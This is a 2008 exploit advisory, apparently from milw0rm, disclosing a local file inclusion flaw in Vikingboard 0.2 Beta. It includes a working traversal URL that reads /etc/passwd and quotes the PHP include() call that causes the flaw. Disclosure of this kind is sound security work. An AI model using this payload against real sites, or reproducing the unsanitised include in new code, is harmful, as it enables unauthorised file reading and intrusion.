Vikingboard <= 0.2 Beta (task) Local File Inclusion Vulnerability

                                                
  :::::::-.   ...    ::::::.    :::.
   ;;,   `';, ;;     ;;;`;;;;,  `;;;
   `[[     [[[['     [[[  [[[[[. '[[
    $$,    $$$$      $$$  $$$ "Y$c$$
    888_,o8P'88    .d888  888    Y88
    MMMMP"`   "YmmMMMM""  MMM     YM

   [ Discovered by dun \ dun[at]strcpy.pl ]

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 #  [ Vikingboard <= 0.2 Beta ]   Local File Inclusion Vulnerability   #
 #######################################################################
 #
 # Script: "Vikingboard is a PHP-based discussion forum..."
 #
 # Script site: http://vikingboard.com/
 # Download: http://sourceforge.net/projects/vboard/
 #
 # Vuln: 
 # http://site.com/[Vikingboard_0.2_Beta]/upload/index.php?act=task&task=./../../../../../../../etc/passwd%00
 #
 #
 # Bug: ./Vikingboard_0.2_Beta/upload/index.php (lines: 81-91)
 #
 # ...
 # 81:		switch(ifsetor($_GET['act'], false))
 # 82:		{
 #		 ...
 # 88:		 case 'task':
 # 89:		 require('./inc/lib/task_loader.php');				// (1)
 # 90:		 load_task();							// (2)	
 # 91:		 break;
 # ... 			    
 #
 #
 # Bug: ./Vikingboard_0.2_Beta/upload/inc/lib/task_loader.php (lines: 19-44)
 #
 # ...
 # 19: 		function load_task()
 # 20: 		{
 #		   ...
 # 27:		   if (!include("inc/tasks/task_{$_GET['task']}.php"))  	// (3) LFI
 # 28:		   {
 # 29:		      //	Stop the script if the task does not exist
 # 30:		      die();
 # 31:		   }
 #		....
 # 44:		}
 # ... 			    
 #
 #
 ###############################################
 # Greetz: D3m0n_DE * str0ke * and otherz..
 ###############################################

 [ dun / 2008 ] 

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# milw0rm.com [2008-09-25]